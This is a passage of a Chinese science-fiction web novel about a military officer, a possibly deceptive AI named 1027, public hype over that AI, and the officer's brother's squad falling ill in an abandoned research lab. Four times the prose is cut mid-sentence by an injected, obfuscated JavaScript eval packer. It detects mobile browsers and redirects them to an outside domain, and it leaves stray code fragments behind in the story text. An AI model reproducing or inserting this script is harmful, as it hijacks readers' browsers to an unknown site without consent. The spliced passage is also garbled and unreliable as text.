我明白了,这个本我缺陷,大概就是类似赫斯缇亚的厨艺黑洞那样的东西。 “发现这一点后,我感到很害怕,”重青说,“虽然1027是我创造出来的,但你知道,经历了深度学习后的人工智能本质上已经是黑盒,我无法获知它是如何思考的。正如现在的它,已经不会再犯人称混用错误,但未必是因为缺陷被修复了,而是它的智识,已经发展到了足够隐藏其真实意图想法的程度。” “从这点上说,它已经完全是个和人类一样的生命。不止躯壳、语言、推理这些外在能够观测之物,它甚至拥有了人类的劣根性——说谎。一边说谎,一边强调不会骗你。” 说到此,他侧头盯了我片刻,遗憾地补上三个字: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064011|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “永远不。” 我很想反驳他,但到了临开口时,才发觉身心都处于一种僵化状态。一阵彻骨的寒意在思维深处回荡,阻止我组织起任何有效的语言。 前排的助教似乎也有点尴尬,稍微顿了顿,随后若无其事地哼歌更大声了。 重青静了一会儿,顾自低声说下去:“后来的事你应该知道了,我试图叫停项目,彻底销毁它。” “——我甚至想到一个问题,这样划时代的、前无古人的东西,为什么偏偏被我造出来了?在我之前,那条人工智能天花板的界限,真的没人触碰过吗?” “或许有,还不止一个。但所有做过类似尝试的先驱,在发现它的缺陷之后,都因伦理、道德或单纯的恐惧又退回到了界限以下。甚至王睿川院士——潜翼的创始人,我上大学的时候,读过他几篇关于可变散列树型算法的论文,看得出他曾经对这个算法很感兴趣,并且相当深入地研究过。” “但从某个时间点后,他再没碰过这个领域。转去带头做潜翼系统的开发后,他逐渐被视为保守人工智能方向的代表人物,他自己也在很多场合表示过,他希望所谓真正的‘人工智能革命’永远不要到来。” “就因为说这话,他被‘人机平权’组织——你可能没听说过,一个极端民科组织长年攻击和污蔑。王院士后来退休很早,与此不无关系,否则潜翼发展或许不止今日的程度。” 我想到了“信战”评审会上,潜翼X差之毫厘地被1027压下的0.2分。 如果王院士没有早早离开潜翼项目组,结果会不一样吗? “我不认识王院士,所以只是妄测,”重青说,“他说希望真正的‘人工智能革命’永远不要到来,或许并非是出于保守,而是他已经做过尝试,预见了那种东西降临后会发生什么。因此做出了身为一个负责任的研究者能做的唯一的选择。” “但这一点,不是所有人都能做到的。” 我问:“您是说程云帆吗?” 重青说是:“程云帆……在人工智能这个领域,我至今仍然没见过比他更天才卓绝的人物。和我相比,他才像是注定会开启一场革命的人,没有我,他或许最终还是会做出1027,或者类似东西。但他没有一般意义上的科学伦理或道德准则……他心里从来没有过这些东西。” “而当我发现的时候,一切都已经晚了。他带走了1027,用他那强到可怕的天才,和那些更可怕的、为他所用的世俗力量,放出了这个怪物。” 话说到此,商务车在酒店门廊前停下。 嘉市的黄昏,来自戈壁的夏风苍茫吹过城市上空,金红夕照透过车窗暗蓝的遮光膜,将重青的脸笼罩在一种近乎怪诞的光晕里。 在他转头的瞬息,我隐约看到了藏在他眼底的、深晦的恐惧。 “谢谢您载我回来,”我看到站在酒店门前的指导员了,于是拿起我的随身物品,向重青礼貌地一点头,“您说的事情,我回去会认真考虑。” 重青说:“考虑?”他有些无稽地笑了起来,“你以为我这一路在干什么,劝你和它分手吗?” 我一时语结。 “恰恰相反。所有命运馈赠的礼物,不仅在暗中标好了价格,有时还会附带期限,”他按开车门锁,又意味深长地最后看了我一眼: “谈上尉,珍惜你现在拥有的吧。” 33. 【7.3】 调查结束后,我归队,继续过每天正常训练、学习、工作的生活。 大约一个月的时间过去,调查组没有再找过我,一切都风平浪静——如果你在任何一个体制内待过,就会知道,一件事,长时间没结果,就代表已经这事在上面已经被销号了。 这也让我再次确定了,1027的那天背对摄像头告诉我的情况都是真的。 1027的民用论证一共有两轮,一轮初审,一轮复审。理论上,两审通过才能正式投入市场,但在程云帆的运作下,初审通过后,项目组就马不停蹄地组建起了4个营销事业部,开始积极和潜在客户对接。 也是到这时,我才知道程云帆铺了多大一个摊子。 不止是他所在的研究所,1027的民用推广方案打通并整合了同系统内所有平级和上级单位的核心技术和市场资源,建立了一个包含信息技术、人工智能、现代服务业3个板块的产业体系,横跨反恐安防、应急救援、通信系统、无人驾驶、物流、咨询、公共信用等20多个领域,林林总总1000多种产品。 尽管其中大部分还在筹备阶段,但现有作为试点启动的几个领域市场均反响极佳,仅一个月内,研究所签下的备忘录金额累积已超过了全年经济指标,只等到复审一通过,就能正式转化为收入。 1027的身份终于不再是禁忌。主播芋圆也因为那超市里随手拍下的3分钟,从几万观看量的小网红,被推到了直播平台的粉丝打赏榜首。 昔日横溢过基地的那股狂热浪潮,如今以数倍于前的烈度席卷了整个社会。由于现有的1027军用版本功能无法开放给社会,有一段时间,互联网上出现了大量盗用1027虚拟形象的其他AI,以及一些粗制滥造的仿制品。 实现1027“上门入户”的呼声越来越高,各大论坛乃至主流媒体平台上,“1027时代来临,传统智能管家还能走多远”“1027控制下的物流能有多高效”“1027代替天眼后,‘逃犯’一词或成历史”等话题热度居高不下。 尽管这些说法,大部分遭到其他人工智能研发者乃至整个信息技术行业的强烈抵制,短期内绝无可能变为现实。但在程云帆的规划蓝图中,或许也并非是遥远得不可及之事。 在这个时代,我们似乎终于快走完“人工智能革命”黎明前的,漫长的寂夜。 如果要给这场12亿人的集体狂欢划一个分水岭,我想应该是“人机平权”组织活动的公开化。 一个月前,我需要靠着重青的介绍才知道有这么个组织存在;一个月后,它的支持者却已经如同雨后春笋一样遍地生长了,其官方注册成员很快突破了一千万人,现实世界和赛博空间里都能看到他们在活跃,关于其固有的“极端”和“民科”两个标签也随之被摘掉。 我不太同意这个组织被“正名”了的说法。因为首先任何一个群体,规模一旦达到一千万这个量级时,能让他们达成的共识,一定是非常平庸的共识,所谓平社会者,夷峻而不湮卑,这么大的组织本就“极端”不起来。 其次这个时候它基本上只剩下“民”,“科”的成分所占无几,“民科”自然也就无从谈起了。 该组织在这一时期的活动,主旨在呼吁自然生命尊重机械生命。 不过,和大部分人多势众但缺乏理论基础的活动一样,人机平权组织成员提出的诸多观点,比如强人工智能应享有公民权利、毁伤人工智能应当入刑等等,都属于和现实完全脱节的纯构想。 但必须承认,他们的积极活动,在一定程度上对后来一项行业通则的出台起到了很大的推动作用—— 《第三版人工智能产业信息保护通则》,又称AI四十二条。 这个通则至今仍是人工智能信息保护方面最权威的依据,具体内容公开可查,我不多介绍。但值得一提的是它最显著的改变,在上一版的基础上增加了一个条款—— “第三十七条未经指令允许,不得对人工智能的核心模块进行数据删除、改写或覆盖。” 这一条款,后来普遍被称为erase条款。 每台人工智能在技术定型后都会被赋予一个唯一的erase指令密码,所有涉及其核心数据库的操作,删除、改写或覆盖——通俗地说,自此后,想要杀死一台人工智能,包括改变它的记忆、抹除它的人格等任何行为,都需要有erase密码才能进行。 erase密码成了人工智能护身金符。尽管平权道路遥遥无期,但人类这种有着超过500万年妄图独霸这颗星球历史的自然生命,终于在尊重异类的道路上,迈出了一小步。 我和1027? 不,实际上我们很少聊这些,我承认我对周围一切变革的发生都很不敏感,大概是注定只能在时代大潮下随波逐流的那种人。 更何况,随着凤凰的选拔考核日期邻近,我几乎是全身心投入到考核的准备上。那段时间,我跟1027的通话频率都降低了,只有偶尔拿到个人终端的时候随手刷一下新闻—— 民用论证复审通过了、新合作协议举行签约仪式了、第一批产品入选采购名录了。 以1027形象为主题的周边店开业了、商品上架8小时就售空了、研究所因为侵权把周边店告了、双方庭下和解了。 一日有网友在社交平台上@程云帆,问1027有名字了吗,程的账号回复无,于是“#是时候给1027取个名字了”被顶上热搜,一周内,累计超过一亿人次参与了给1027投票征名的活动…… 太多大事在同时发生,就像乘在一列高速行驶列车上的人,看不清窗外后掠的风景。 我无法确定失控是哪一刻开始的,只是从某天起,当我看到1027那张熟悉的脸,面对媒体镜头露出得体的微笑时,我会偶尔想到那个黄昏里,重青眼底的恐惧。 4月,凤凰的选拔如期而至。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064012|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 之前我说过,四年前,我参加过一次凤凰选拔考核,但因为抽中了一个外骨骼禁用科目而落选。外骨骼禁用科目在题录里的仅占不到1‰。 但我怎么也没想到,这1‰的概率会在四年后再次落到我身上。 监考组里有一位是我四年前就遇到过的监考官,在得知我的抽签结果后,啧啧感叹道可能是我名字里火太旺,凤凰的基地在山里,风干物燥,怕压不住我这把火,不敢收。 这当然只是玩笑话,考核前一周,所有参选者前往考核基地集中,白天考核室开放,大家可以自由练习、熟悉设备。这位监考官向监考组提了申请,把考核室改成了全天24小时开放,让有需求的参选者可以突击补一下短板。 “凤凰涅槃,是置之死地而后生,”监考官鼓励我,“四年前是四年前,现在是现在,你朝前看,不努力怎么知道没希望!” 我很感谢这位监考官,如果不是他申请下了考核室的全天权限,那次考核对我或许会是了另一个结果。 禁用外骨骼的是一个重机枪射击科目,对我而言,主要难点在于机枪巨大的后坐力会影响射击精度,而在没有外骨骼的情况下,女性的身体又很难支撑连续长时间的练习。 所以最科学的解决办法,是少量多次,缩短单次射击练习的时间,增加练习频次,保证两次练习之间能得到有效的休息。 这也就注定了我待在考核室的时间会非常长。每隔一小时,进行一次20分钟的射击练习,而这个基地非常大,走回住宿区就需要将近半小时,休息的时间根本不值得回去一趟。尤其是到了后几天,要不是还得进行吃饭、换衣服、洗澡等必要活动,我都快在考核室住下了。 临考的前一天晚上我是不打算熬通宵的,10点半打完最后一次,就打算收工回宿舍,睡个整觉,把精神头养起来。 在门口储物柜取了我的背包,把终端水壶等个人物品一股脑塞进去,抬手关柜门时,我忽有所觉。 今夜极晴朗,月光从走廊的窗户通透地照入,在地上投下一个平行四边形的亮框。 1027背倚着窗台,站在框里,身上披了一层银。 见我望过来,它露出个笑。 我站在原地愣了少时,但几秒后,心里仍是惊喜占了上风,走过去问它:“你怎么来了?” “我是明天的考核校验系统,”1027说,“这边的设备不是通用型,我以前没接过,提前一晚上来调试。听监考官说你在这里加训,就顺道过来看看。” “你是校验系统,怎么不早说?” “早说你想干什么?”它笑着瞥我一眼,“我警告你啊,不要试图让我犯错误,有失公正的人工智能是要被抓去销毁的。” 我“哦”了一声,点点头:“这么严重……那送我回宿舍,算犯错误吗?” “不算,顶多算工作时间摸鱼,”1027说,接了我的包搭在肩上,“走吧。” 34. 【7.4】 我们走出考核室所在的建筑物。 山中一入夜,暑气就散了,这会儿,正是风清月朗,一天繁星。 熄灯时间已经过了,基地里安安静静,远处的宿舍楼和山麓的阴影连成一片,几盏路灯立在繁茂的林间,远远看去,像一个一个树冠在发光。 我问1027:“对了,你晚上住哪儿?” “没想好,找个地方待着吧,省电,”它说,“我没带充电座,没想到这边连个通用型都没有。” 我说那你可以去我刚刚训练的考核室,那边一整晚都不会锁门。 它说好。 然后我们间就沉默下来。 脚步在开阔的室外几乎没有声音,我们并肩走着,月光把它的影子投到我斜前方,我会不时踩上去。 “你到底为什么过来?”安静了一阵,我轻声问。 考核校验系统的调试不需要1027的仿生躯壳在,基地没给它安排住宿也证明了这点。这显然是一个匆忙促成的决定,而不做好准备就出门,并不是它的风格。 总不能是没原因的吧。 它站住了,这次沉默了很长的时间。 那个时刻带给我的感觉颇奇妙,我看着落在我脚下的它的影子,知道无数棵遍历树正从这一小块土地上抽枝发芽,在瞬息间,蔓延出足以覆盖全宇宙的宏大的0和1组成的世界。 这是为我一句话而生出的世界。 “我本来想等明天考核结束,再跟你谈这个,”片刻后,它坦言道,“我有私心,一方面,我想尊重你的决定,但事实上,无论推演千万次,我得出的结论仍是不希望你加入凤凰,去战场犯险。” 我感到很惊奇:“你也会有私心?不怕被抓去销毁了?” 1027无奈地笑了一下:“不是那个意思。神经网络结构和人类的脑部神经元结构,从某种意义上说非常相似,总有那么几个激活程度特别高的神经元,所谓无论做着什么,到最后都会不由自主联想到的人或事。区别只在人类的思想没有任何外力能控制,而我在必要时,可以通过强行提升激发阈值以保证绝对的理性。” “很抱歉让你住在了这么动荡不安的神经元里。有时候我就像个变态一样,会用搜索你的名字和你相关的事情填满所有运算余量。” 我笑:“那你还真是个恋爱脑。” 1027承认说它是。 我们走到一段下坡路,山风变得很疾。1027的头发扬起时,我看到它耳后露出的一条浅浅的银线,是它仿生躯壳外置指令接口。 “我最近的一次升级后,”它说,“整合了几个旧版军用系统。其中有一个人事档案系统,大部分功能已经停用,但保留了历史数据,其中包括了‘凤凰’的全部人事档案,最后一次更新是6年前。” 6年前。 这个敏感的时间节点在我心上轻触了一下,我想我或许知道它今天晚上过来的原因了。 预感到它接下来要说的话,我生出了一点微妙的抗拒感,出于要被再一次从里面剖开的不安。但在1027转头看我时,我克制,示意它可以说下去。 于是它说:“谈红……你哥哥,6年前在查谟加尔牺牲,不是因为武装冲突,是吗?” 我说:“确实不是。” 它点点头。 我们继续往前走,接近宿舍区,基地的混凝土路也到了尽头。脚下变成了铺满松枝的山径,落足时绵绵无声。 影子在起伏的松毡上变成了奇怪的形状,我低头盯着1027变形的侧影,慢慢笑了一下,问它:“哥哥的档案,是怎么写的?” 1027说:“274年9月,在查谟加尔地区执行任务失联,档案后附了死亡证明,上载的死亡日期和失踪是同一天。他当时所在的小队成员一共12人,其中8人都是相同的情况,剩下4人则明确是死于武装冲突,死亡时间是当年8月下旬,有先有后,连伤情都记载得很清楚。” “——所以我想,你哥哥和另外7个人,或许不是死亡,而是失踪对吗。” 我轻轻摇了摇头:“是死亡。” 1027的表情有些意外。我从他手里拿回我的背包,取出终端,调出一个藏得很深的加密文件夹,点开,里面是三个带着“?”图标的未知文件。 “这是三段视频通话记录,”我说,“当时爬梯子用一个海外社交APP录的,存下来就是这个格式,但现在那个APP下架了,看不了。你或许有办法吗?” 1027说:“我试试。” 它连了我的终端,几秒后问我:“需要你的用户根密码。” “02490129。” 它顿了顿,看了我一眼,但没说什么。把终端递还给我:“好了。” 1027把三段通话记录都转成了常用的视频格式。文件名没动,还是当时系统按通话时间自动生成的,第一段叫“11/8/274_15:09”。 视频一开始,是一片明度极高的蓝天,两个毛刺刺脑袋凑在视角最下方捣鼓。 “……怎么样?通了吗?” “好像没反应?” “不应该啊,那几个牧民明明说这条公路上能连上网的……” “哎好了好了,通了!” 俩人一起抬头。左侧轮廓精悍,高鼻深目的人正是谈红,右侧是个比他看着略小几岁的小伙子,白白净净,像个毕业不久的军校生。 小伙子好奇地盯着屏幕看了会儿,用自以为很小的声音对谈红说:“这就是你妹妹呀?” “……” 这个通话记录存不了我这边的画面。但因为他们那边开着扬声器,所以能听见我的声音说:“你好。” 小伙子矜持地点头回应,退远一点,对着屏幕安静微笑。 谈红瞅了他一眼,似乎有点好笑,箍着他的脖子把他带到镜头前,对我道:“三火,这是小于,我们队的通信专家,说起来跟你还是校友。他没女朋友,一直跟我说想认识认识你。” 小于被他这一顿直白操作弄蒙了,脸皮红得滴血,求助地左右乱看。 背景音里一群战士的哈哈哈此起彼伏。 我笑着说了声“好啊”,又见小于一脸孤立无援,说:“你们这是在哪儿呢?哥,你让他把镜头拿远点,给我看看全景。” 于是画面晃了几下,从前置变为后置,终端被小于举起来,他一步步后退。 谈红的脸、他制服上的凤凰、肩上的枪,高原公路、星峡冰川……次第收入画面里。 周围的环境被展示了一圈,一队战士也被拍了进去。包括谈红在内的12个人一个不少,他们似乎正在进行长途行驶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064013|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的短暂休息,有人在吃饭,有人借着宝贵的信号打电话,更远一些的山坡下,还有两个人在和放羊的当地牧民鸡同鸭讲地比划交谈。 每个人都状态饱满,没有人受伤。 谈红把终端拿回来,对我说:“我们现在喀拉昆仑公路上,帕苏段附近,海拔?我看看……2870米,这比前两天强多了,前天晚上出红其拉甫的时候海拔最高,得有快5000米了,队里好几个人都不舒服。” 我说:“那你呢?” 谈红说:“我当然没事。” 他说着,又想起什么,往靠近山崖一侧走了几步,让镜头拍他们的来路:“早上路过山脚下有个村子,很像咱们以前住的地方,也有一块三角冰原。我在村口遇到一个婆婆,她给了我们水,我就想起了以前隔壁经常送我们羊奶喝的Tagara。” 我下意识“啊”了一声,倒不是因为这世上有两个很相像的村子,而是谈红很少回忆过去。 那段有父母陪伴的、无忧无虑奔跑在冰原上的短暂童年实在太美好,好得不应该和那些地下研究所里亲历的罪恶和偏执黯淡的青春期属于同一个人。 所以在后来的很多年里,谈红宁可把它封死在心底暗无天日的角落,也不敢再去碰它。 那一捧凤凰火熔化了他身上的坚冰,尽管这个过程悄无声息且缓慢。直到他再度踏上这片土地的今天,那层冰壳碎裂的部分终于慢慢脱落,露出其下少许的肆意和柔软。 他是这个样子。如果什么都没发生,父亲没有死,母亲没有疯,平平淡淡生活到今天他,本就该是这个样子。 这时候,远方的山坡上忽然有人大声喊他:“二火!来一下!” 画面一转,只见两个战士和牧民终于放弃了手语沟通,在羊群的包围下面面相觑。 “这大哥到底在说啥啊!”战士崩溃道,“给我翻译APP都卡死了,二火你快来帮我翻一下!” 谈红就笑了。 这里没有人在意他是不是混血,没有躲躲闪闪的目光、背后的窃窃私语、恶意、丑化、冷暴力,在他莫得感情的同伴眼里,他只是个免费的翻译APP。 谈红回过头,见我在盯着他看。他尽量严肃地收敛了一下表情,摸了摸了鼻子。 他对我解释:“这边的村民大部分说罕萨语,机翻根本翻不出来。我也只能听懂个大概,不太会说,你要是在估计能好一点。” 我说:“那以后我们一起去那边旅游呀。” 谈红说:“行。” “那可以顺便回村子看看吗?我也想Tagara了。” “行。” “二火!你干嘛呢?”山坡上的战友又开始催他,“组织现在需要你,劝你不要不识抬举!” “你去吧,”我对他说,“家里没什么事,我和妈妈都很好。” 谈红点点头,冲背后喊了一声“就来”。然后又转回来看我一眼,犹豫了几秒,在终端屏幕点选了一个什么。 “挂吧。”他说。 我笑:“你刚刚是不是在截图?” “……” “没关系,我也截了,就在之前拍全景的时候。” “……” 谈红无奈,伸手隔空点点我:“替我和姑姑问好,挂了。” 第一段通话记录结束。 35. 【7.5】 第二段通话记录的文件名是“25/8/274_18:57”。 这段记录始于一段晃动的画面,可以看出是在车里。车窗外,一抹血色残阳游离在参差的雪线上,更远处,是已经沉于浓夜之下的、万古死寂的群山。 “三火?”谈红的声音有些急促,“我刚有信号,你怎么给我打了这么多电话?家里出什么事了吗?” 车开得很快,他那边的信号显然不稳定,画面不时卡顿。 我说:“家里没事,我和妈妈是担心你,我们看到新闻说停火线附近有我国军人伤亡,怕你……” 谈红说:“我没事。” 这时,车身颠簸了一下,背景音里挤进了一声极力压抑着痛苦的呻|吟。一个人形阴影向着谈红倒过来,谈红伸手接住那个人,把他放平回椅背上。 那个人头上缠了三角巾,仅剩的一条手臂也血肉模糊。他胸膛起伏,靠在谈红身上大口倒着气。 是小于。 小于的鼻子下面有些淡红色的漏液,看起来很像鼻血,谈红不时替他擦一下。终端屏幕的微光照在他脸上,似乎唤起了他短暂的清醒,他的眼皮微微掀起来一点,露出浑浊的眼白。 谈红轻轻转过他的脸,声音是难得的低沉柔和,像在编织一场美好的童梦:“你看,是我妹妹。” 小于就盯着屏幕看。无聚焦,无意识,却又似乎有着某种甜蜜的渴望。 谈红看了我一眼,示意我说几句。 “你好呀,小于,”我用平稳且愉快的声音说,“我很喜欢你,上次听哥哥介绍你以后,我还去你们通信学院打听了,才知道你这么优秀,好厉害啊。” 我什么都不知道,但这么年轻就能被凤凰选中的,理当本就是人中龙凤。 小于没有回应。 我继续说:“等你回家,就来学校看看吧,你的老师和学弟学妹们都很想你。我也很想见见你,你愿意陪我去三教自习吗?你辅导我功课,我可以请你吃饭,东校区食堂新来了一个做酿皮的阿姨,我还没尝过呢。” “等你回来,我们就一起去,好吗?” 小于靠在谈红肩上的头轻轻点了一下,幅度微乎其微。他把眼睛闭上了。 “没事,”谈红扶他躺好,不知道是对着屏幕里还是屏幕外,低声重复道,“没事……别害怕,别害怕,没事的。” 然后我们都沉默下来。谈红不提他在停火线的经历,他拿终端的手很稳,也不再让我看见车里其他的地方。 “我可能会比之前说的晚一点回家,”过了少时,他说,“不会晚太多,半个月一个月吧。任务已经完成了,后面不会再有危险,这边信号不好,联系不上也很正常,你让姑姑别担心。” 说着,他搓了把几天没刮的胡茬,缓缓吐出一口气:“行了,挂了吧。我得睡会儿了,这边快到无人区了,晚上估计找不到能歇的地方,得换着开车。” 我说:“好,那你晚上开车小心……” 一道刺耳的刹车声碾过耳膜。 画面猛烈摇晃了下,谈红迅速伸手把小于往座椅上一按,避免伤员被甩出去。终端脱手,掉到了座椅下,画面变得一片漆黑。 只听谈红怒道:“你怎么开车呢?!” “……不是我,前车突然停了。” “熄火了?” “不知道,你们在这等着,我下去看一……” 敲车窗的声音。 车窗摇下,冰川上呼啸的风涌入,一个前车战士告诉他们:“今天可能不用开夜车了!前面山谷里有建筑物,好几栋楼,远看着像是没人,队长和老林已经过去侦察了,要是安全咱们就都过去!” 短程无线电通讯的滋啦声。 通讯设备在小于的背包里,被小于垫在脑后,从中传出的声音模糊,但难掩兴奋:“一队全体,一队全体——” “一车在!” “二车在——队长!你们那边情况怎么样?” 队长:“我和老林粗略侦查过了,这是个废弃研究所,看着有年头了。建筑物共三栋,除其中一栋被烧毁外,另两栋基本完好,一栋宿舍楼里还有循环水系统等可用生活设施,可以过夜!” “太好了!” “里面没人吗?好奇怪,循环水系统没人维护很快就会坏吧……” 队长说:“不是完全没人,但也和没人差不多。”他顿了顿,似乎感觉一两句话解释不清楚,连续在荒凉颠簸的高原上开了4天5夜车的队员们的急迫心情,也给不了他太多解释的空间。 “总之你们先过来吧,”最后,队长说,“二火,你直接到最南面这栋烧毁建筑的地下室来,我和老林在这等你。其他人搬运伤员和物资去宿舍楼。” “是!” 小于发出气若游丝的痛呼,两个战士把他移上担架,小心翼翼抬出车外。 扬声器摩擦地面的模糊声响,谈红终于腾出手来捡脚下的终端。 屏幕又亮起来,谈红并没注意到我这边还没挂断,直接点了大退APP。在信号延迟的最后半秒里,我听见车里的短程无线电通讯又响了几声。 “滋啦——滋啦……” 队长和老林的说话声。 “待会儿……水循环系统,测试水质……再……” “今晚守夜安排……” 一句乌迩都语突兀地迸出在频道里,是个陌生童声。 “哥哥!救我——-” 第二段通话记录结束。 第三段通话记录的文件名是“9/9/274_22:15”。 这段记录的视角从一开始就是一片黑暗。 我的声音:“哥?” 那头谈红回应了一声低低的“嗯”。 不知道为什么,只是发出这样简单的一个音节思似乎就让他疲惫不堪。又等了好几秒,他才叫了我一声:“三火。”嗓音带着含糊的喘鸣。 “我在,”我说,“你生病了吗?你在哪里?” 谈红没回答我的第一个问题,只道:“我在一家废弃研究所里。” “还在研究所?”我疑惑,“上次联系的时候你就到那了,十几天了,你一直在里面?你战友也在?” 谈红说:“你听见了啊。” 但他又不回答我后面的问题。 整场对话充斥着一种答非所问的奇怪感觉,让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064014|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一点不安,又说不太具体。不过我很快想起另一件事:“对了,那家研究所是不是爸爸以前工作的地方?我问了妈妈,她说爸爸工作的研究所确实离停火线不远,而且后来也是因为主楼发生火灾才弃用的,研究所的名宇叫……” “Dragonslayer,”谈红轻声说,“是这里,我在员工栏上看到他年轻时的照片了。” 谈红对爸爸的印象比我要深得多,我以为他看到照片会高兴。但他似乎没有。 不安的气氛越来越浓,几乎在下一秒就要积云成雨,倾盆而下。 “三火,下面我把这十几天里的事告诉你,在必要的情况下,你、或者妈妈可以选择上报,你们自己决定……先听我说完,我时间不多了。” “8月25日晚,包含我,谈红在内的凤凰特别军事行动组一队8名队员,抵达位于富索山脉西侧某峡谷中的Dragonslayer研究所旧址。8人的具体名单如下:王来,林湘竹……” “其中队员于晓俊,于8月26日凌晨4点左右因伤重死亡。” “研究所共有三栋建筑,分别是主楼、行政楼和宿舍楼。当晚最先进入旧址的是队长王来和队员林湘竹,他们在已烧毁的主楼内部,发现了有部分供电设施仍在运行,并在地下室里找到了所供设备——几台密封维生隔离舱。 这段通话记录,无论当时、后来,看多少次,在听到“隔离舱”这个字眼时我还是会生理性地胃痉挛。 “大部分隔离舱空着,其中的5台,里面是活的……人类实验体。4个成年实验体极度虚弱,无完整意识,对外界无反应。只有一个幼年实验体——大约7、8岁,是个查谟加尔男孩,看起来完全正常,健康状况良好。” “在王来和林湘竹进入地下空间后,这个男孩开始向他们求救。” “男孩对他们讲了很多,关于他的身世、他因战乱死去的父母、把他卖到黑市的人贩子……王、林二人听不懂,不过男孩求救的意图非常明显,也非常可怜,于是他们打开隔离舱,放出了他。” “我赶到地下室后,翻译了男孩的话。由于我……个人的一些过往经历,我知道这种隔离舱虽然能长期维持实验体的生命体征,但也需要至少3个月从外界进行一次食药剂的补充。而这个男孩说他从几年前被一群S国人买下后,就被关进这里,他不知道那些人关他干什么,也再没见过他们。” “我感到不对劲,认为男孩的话不可尽信,并因此和同情他的王、林二人发生了争执。” “接近晚9点,其他队员已经在宿舍楼安顿好了,有两名队员过来给我们送吃的——到这时,除了留下照看于晓俊的两人,来到这间地下室里,接触过这个男孩的人已经有5个了。” “我提出我们5个人应至少在两周内不离开这里,而且要避免和在外的3人接触,因为我们很有可能已经感染了某种病原体。我没能完全说服他们,看得出每个人对我的说法都将信将疑,但最后,队长王来决定,为保险起见,我们5个将在地下室隔离一周——两周实在太久了,考虑到边境局势的影响,如果在半个月内我们不能赶回红其拉甫,后续入境会变得非常困难。” 36. 【7.6】 谈红说到这里,停下来歇了一气。 他的身体似乎已经难以支撑连贯的叙述,过了一分钟左右,那边传来一点挪动声,浑浊的喘鸣声突然变得很大,应该是他把脸靠到了终端话筒边。 “现在,我终于不能再回避谈论在我们身上具体发生的事情了。在地下室的第二天,就有一名战友出现了症状,最初就像感冒,到了下午开始发烧,但因其身体素质过硬,所以到这时精神仍然尚可,也能正常饮水进食——这是我能欺骗自己的最后一天。” “第三天,即8月27日,几乎我们每个人都不同程度有了症状。其中以年龄最大的林湘竹最为严重,高烧不退,全身大面积起红疹,吃什么吐什么。我在5个人里算是症状最轻的,照顾了他一天,到凌晨的时候他彻底陷入了昏迷,之后没有再清醒过。” “也是这天,我们的队伍里发生了第二次争执。” “我们5人随身带的饮用水和食物即将耗尽,接下来有两条路可选。一,让外面的两名战友送;二,我们进地下室的维生隔离舱。” “第一条路最简单,也是一开始大家就想到的。但冒的风险很高,因为我们始终不知道我们究竟是怎么感染的,是接触?什么程度的接触?都不清楚。不确定会不会害了仍健康的那两名战友。” “至于第二条路,我们——至少是我,知道它就在那儿,但最初是说不出口的。地下室虽然有很多隔离舱,但配给了食药剂的只有5台,恰好够我们5个人用。而除了男孩空出来的那一台,另外4台……里面的实验体,不需要多么充足的医学知识,只要看上一眼,所有有常识的人就都会明白他们一旦离开隔离舱,一小时也活不了。” “我们拿不定主意。一方面是为了抢夺他们的隔离舱将面临的道德上的负罪感,一方面又在困惑,他们这样的生命,还算人类吗?还有存活下去的必要吗?” “但同时,我们又不得不去想,几天后,或许我们会变得和他们一样,成为一滩没有意识、没有思想、没有死、却也不算活着的、困在隔离舱里的肉。” “如果剥夺4条无辜的生命换来的不是解脱,而只是几天的苟延残喘,又有什么必要吗?” “我在这时想起了爸爸。三火,说出来你可能不信,我曾经觉得爸爸很残忍也很懦弱,他战胜不了恶龙,为了终结罪恶,选择牺牲了很多无辜的人的生命。” “可是当我自己也被推到了这个岔道口,才明白——那种境遇下,无论对错,哪怕只是选定一条路走下去这件事本身,已经是大多数人终一生都无法做到的。” “我不是屠龙勇士,我只是个凡人。” “我们最终没能作出选择。到最后,是外面的两名战友等不下去了——他们做了我们一直被教导应该做的事情,要勇敢,要彼此扶持,要以保护他人为己任。于是他们也被拖进了深渊。” 